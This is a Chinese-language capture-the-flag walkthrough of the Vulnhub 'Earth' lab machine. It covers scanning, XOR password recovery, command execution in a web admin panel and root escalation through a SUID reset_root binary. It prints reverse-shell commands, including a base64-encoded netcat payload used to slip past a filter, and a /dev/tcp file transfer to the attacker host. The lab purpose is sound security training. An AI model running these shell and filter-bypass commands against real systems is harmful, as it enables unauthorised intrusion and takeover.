当前位置: 首页 > article >正文

The Planets: Earth -- 练习

环境搭建

该靶场环境来自Vulnhub -------- Difficulty: Easy

靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式),所以需要调整KALI和靶场的网络模式,为了方便测试本地采用NAT模式。

注意,如果用的是比较新版本的VMware,可能存在无法调整虚拟机网卡的情况。

则需要调整虚拟机的兼容性,以便于能正常运行。

信息收集

前期进行一些简单的信息收集工作,收集一些IP信息、端口信息和域名信息等

网络扫描

扫描网卡

因为是在同一个网段,可以直接扫描网卡从而获取靶机IP地址,命令为arp-scan -I eth0 -l。很显然这里的192.168.47.152就是靶机的地址信息,如果不敢确定,可以将靶机开关几次。看哪个IP会消失。

使用Nmap扫描网段信息

可以通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.47.0/24,获得靶机地址:192.168.47.152

使用netdiscover扫描网段信息

netdiscover -i eth0 -r 192.168.47.0/24

使用masscan 扫描的网段端口号

可以扫描一些常见端口号信息masscan 192.168.47.0/24 -p 80,22

初步渗透

通过使用Nmap进行端口扫描,使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口。

从中我们可以发现开放的端口有:22、80、443端口,并且443端口需要进行dns解析。如果不配置DNS解析直接访问,会出现400错误。

 Hosts文件位置:
 Windows:C:\Windows\System32\drivers\etc
 Linux:/etc/hosts
 ​
 内容:
 192.168.47.152 earth.local 192.168.47.152 terratest.earth.local

直接访问earth.localterratest.earth.local两个域名进行查看。发现两个页面内容相同如下:

有一段不知名的数字,此时看不出任何作用。随便输入一些内容进行测试如下。像是某种加密使用数字进行测试,经过判断初步猜测是异或加密。但是不知道密钥无法解密。

暂时不知道这些字符串如何解密,先放一边,扫描一下目录:dirsearch -u http://earth.local/

 37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
 ​
 3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
 ​
 2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

获取了一些文件信息,尝试访问http://earth.local/admin/,看似是一个管理员命令工具登录页面,可以尝试弱口令登录,发现不成功。此时可以尝试分析其他文件。

在扫描过程中还发现了一个robots.txt文件,查看内容发现列出了很多内容,发现有个testingnotes文件,但是不知道是什么文件格式上边列了很多,挨个测试一下。最终发现是个txt文件。

并且testingnotes文件内容如下。可以得知采用的是XOR加密算法,并且有一个testdata.txt文件用于测试加密,用户名是terra

所以先访问testdata.txthttps://terratest.earth.local/testdata.txt查看其中的内容。

XOR解密

初步猜测这段文字可能是加密密钥,从testdata.txt可以看出,密钥是通过XOR加密发送。猜测第一个页面留下的很有可能是加密后的terra的密码。对每一条信息进行解密,只有最后一条内容看起来像是密码。只不过按照earthclimatechangebad4humans进行重复。

获取第一个Flag

回到登录页面,尝试登录。发现登录成功,尝试执行简单的命令,发现能成功执行。查看题目要求发现要找两个flag:a user and root flag。所以现在去尝试查找flag,通过find命令查找,find / -name "*flag*"

尝试读取这个文件内容cat /var/earth_web/user_flag.txt,成功获取第一个flag。

提权

由于第二个是ROOT的flag,并且通过find命令并没有找到。所以当前用户没有权限所以需要提权。尝试反弹shell获取靶机的控制权。但是发现禁止远程连接。bash -i &> /deb/tcp/192.168.47.131/8866 0>&1。可能是使用了IP地址,尝试通过base64编码绕过echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDcuMTMxIDY2NjYK | base64 -d | bash

反弹成功之后,通过Python创建一个伪终端。

 python3 -c "import pty; pty.spawn('/bin/bash')"

查找具有root权限的文件find / -perm -u=s -type f 2>/dev/null这个命令是从根目录查找有suid权限的文件(只查文件),然后我们查看/usr/bin/reset_root,发现Earth可能是密码。

查看文件内容,但是很乱很多乱码看不清楚。所以直接检查字符串内容如下:strings /usr/bin/reset_root,已经告知当重置触发器存在,重置根密码为:Earth

所以此时的目标就是查看哪些触发器可以触发修改密码的操作。直接将文件程序整到kali本地分析一下。

 本地kali上进行监听:nc -nlvp 777 > reset_root
 靶机上运行:cat /usr/bin/reset_root > /dev/tcp/192.168.47.131/7777

到Kali上调试使用strace进行调试:strace ./reset_root,显示缺少三个文件。所以去靶机上看一下这几个文件,发现靶机上也没有这几个文件。

所以尝试创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth。

获取第二个Flag

之后通过su命令尝试登录,发现登录成功,成功获取第二个Flag。


http://www.kler.cn/a/396385.html

相关文章:

  • Shell基础2
  • 【Redis】Redis的一些应用场景及使用策略
  • SpringBoot3全面复习
  • 【知识科普】微内核架构与宏内核架构
  • QT_CONFIG宏使用
  • 【SpringBoot】20 同步调用、异步调用、异步回调
  • GOLANG+VUE后台管理系统
  • Linux第92步_如何编写“设备树”下的platform设备驱动
  • STM32 串口输出调试信息
  • watch监听事件未生效
  • 网络动力学
  • 飞创直线电机模组 VS 传统丝杆模组:谁是自动化传动领域的王者?
  • HarmonyOS ArkTs 解决流式传输编码问题
  • 一文1800字使用Jmeter进行http接口性能测试!
  • Vue Shop Vite官网、Vue Admin Plus官网、前端框架、演示地址、源码、文档
  • Swift从0开始学习 函数和闭包 day2
  • PostgreSQL 数据加密和数据解密
  • Vue 学习随笔系列十五 -- 数组遍历方法
  • 基于VUE实现语音通话:边录边转发送语言消息、 播放pcm 音频
  • Vue.js 前端框架入门
  • Python学习从0到1 day27 Python 高阶技巧 ③ 设计模式 — 单例模式
  • Wi-Fi背后的工作原理与技术发展历程介绍【无线通信小百科】
  • 柯桥生活英语口语学习“面坨了”英语怎么表达?
  • Ubuntu联网问题处理
  • springboot的依赖实现原理:spring-boot-starter-parent解析
  • P3-3.【结构化程序设计】第三节——知识要点:while语句、do-while语句和for语句